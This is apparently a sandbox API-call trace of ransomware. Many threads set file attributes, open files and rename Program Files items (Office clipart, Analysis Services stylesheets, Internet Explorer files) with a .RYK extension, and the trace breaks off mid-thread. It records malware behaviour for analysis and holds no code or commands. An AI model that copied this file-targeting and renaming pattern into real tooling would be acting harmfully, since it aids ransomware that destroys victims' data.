	[0189.311] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\sonicsptransform.ax" (normalized: "c:\\program files\\dvd maker\\sonicsptransform.ax"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0189.311] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0189.311] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\sonicsptransform.ax" (normalized: "c:\\program files\\dvd maker\\sonicsptransform.ax"), lpNewFileName="C:\\Program Files\\DVD Maker\\sonicsptransform.ax.RYK" (normalized: "c:\\program files\\dvd maker\\sonicsptransform.ax.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1052
	os_tid = 0x164c

	[0189.313] SetFileAttributesW (lpFileName="C:\\Program Files\\Internet Explorer\\ie8props.propdesc", dwFileAttributes=0x80) returned 0
	[0189.361] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\ie8props.propdesc" (normalized: "c:\\program files\\internet explorer\\ie8props.propdesc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0189.361] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0189.362] MoveFileExW (lpExistingFileName="C:\\Program Files\\Internet Explorer\\ie8props.propdesc" (normalized: "c:\\program files\\internet explorer\\ie8props.propdesc"), lpNewFileName="C:\\Program Files\\Internet Explorer\\ie8props.propdesc.RYK" (normalized: "c:\\program files\\internet explorer\\ie8props.propdesc.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1053
	os_tid = 0x1650

	[0189.314] SetFileAttributesW (lpFileName="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins", dwFileAttributes=0x80) returned 0
	[0189.363] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins" (normalized: "c:\\program files\\internet explorer\\signup\\install.ins"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0189.364] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0189.364] MoveFileExW (lpExistingFileName="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins" (normalized: "c:\\program files\\internet explorer\\signup\\install.ins"), lpNewFileName="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins.RYK" (normalized: "c:\\program files\\internet explorer\\signup\\install.ins.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1054
	os_tid = 0x1654

	[0189.566] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl", dwFileAttributes=0x80) returned 0
	[0189.733] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as80.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0190.062] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0190.062] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as80.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl.RYK" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as80.xsl.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1055
	os_tid = 0x1658

	[0189.567] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl", dwFileAttributes=0x80) returned 0
	[0189.918] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as90.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0190.222] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0190.222] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as90.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl.RYK" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as90.xsl.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1056
	os_tid = 0x165c

	[0189.568] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl", dwFileAttributes=0x80) returned 0
	[0189.911] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\informix.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0190.212] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0190.212] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\informix.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl.RYK" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\informix.xsl.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1057
	os_tid = 0x1660

	[0189.568] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl", dwFileAttributes=0x80) returned 0
	[0189.911] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\msjet.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0190.211] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0190.211] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\msjet.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl.RYK" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\msjet.xsl.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1058
	os_tid = 0x1664

	[0189.569] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl", dwFileAttributes=0x80) returned 0
	[0189.860] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql2000.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0190.207] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0190.207] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql2000.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl.RYK" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql2000.xsl.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1059
	os_tid = 0x1668

	[0189.569] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl", dwFileAttributes=0x80) returned 0
	[0189.910] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql70.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0190.209] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0190.209] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql70.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl.RYK" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql70.xsl.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1060
	os_tid = 0x166c

	[0189.570] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl", dwFileAttributes=0x80) returned 0
	[0189.859] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql90.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0190.205] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0190.206] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql90.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl.RYK" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql90.xsl.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1061
	os_tid = 0x1670

	[0189.570] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl", dwFileAttributes=0x80) returned 0
	[0189.859] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sybase.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0190.204] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0190.204] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sybase.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl.RYK" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sybase.xsl.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1066
	os_tid = 0x16a4

	[0190.622] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll", dwFileAttributes=0x80) returned 0
	[0190.623] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\msmdsrv.rll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0190.623] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0190.623] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\msmdsrv.rll"), lpNewFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll.RYK" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\msmdsrv.rll.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1067
	os_tid = 0x16a8

	[0190.625] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll", dwFileAttributes=0x80) returned 0
	[0190.625] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\msolui100.rll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0190.625] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0190.625] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\msolui100.rll"), lpNewFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll.RYK" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\msolui100.rll.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1110
	os_tid = 0x1774

	[0191.188] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF", dwFileAttributes=0x80) returned 0
	[0191.188] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00004_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0191.188] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0191.188] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00004_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00004_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1111
	os_tid = 0x1778

	[0191.190] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF", dwFileAttributes=0x80) returned 0
	[0191.191] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00011_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0191.191] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0191.191] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00011_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00011_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1112
	os_tid = 0x177c

	[0191.193] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF", dwFileAttributes=0x80) returned 0
	[0191.380] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00021_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0191.381] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0191.381] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00021_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00021_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1113
	os_tid = 0x1780

	[0191.194] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF", dwFileAttributes=0x80) returned 0
	[0191.194] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00037_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0191.195] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0191.195] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00037_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00037_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1114
	os_tid = 0x1784

	[0191.197] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF", dwFileAttributes=0x80) returned 0
	[0191.391] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00038_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0191.392] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0191.392] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00038_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00038_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1115
	os_tid = 0x1788

	[0191.197] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF", dwFileAttributes=0x80) returned 0
	[0191.199] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00040_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0191.199] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0191.199] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00040_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00040_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1116
	os_tid = 0x178c

	[0191.201] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF", dwFileAttributes=0x80) returned 0
	[0191.206] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00052_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0191.206] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0191.206] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00052_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00052_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1117
	os_tid = 0x1790

	[0191.394] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF", dwFileAttributes=0x80) returned 0
	[0191.394] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00057_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0191.394] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0191.394] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00057_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00057_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1133
	os_tid = 0x17d0

	[0191.396] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF", dwFileAttributes=0x80) returned 0
	[0191.396] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00090_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0191.397] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0191.397] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00090_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00090_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1134
	os_tid = 0x17d4

	[0191.398] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF", dwFileAttributes=0x80) returned 0
	[0191.399] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00092_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0191.399] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0191.399] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00092_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00092_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1135
	os_tid = 0x17d8

	[0191.401] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF", dwFileAttributes=0x80) returned 0
	[0191.633] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00103_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0191.633] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0191.634] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00103_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00103_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1136
	os_tid = 0x17dc

	[0191.403] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF", dwFileAttributes=0x80) returned 0
	[0191.636] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00120_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0191.636] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0191.637] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00120_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00120_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1137
	os_tid = 0x17e0

	[0191.405] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF", dwFileAttributes=0x80) returned 0
	[0191.639] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00126_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0191.640] CloseHandle (hObject=0xffffffffffffffff) returned 0
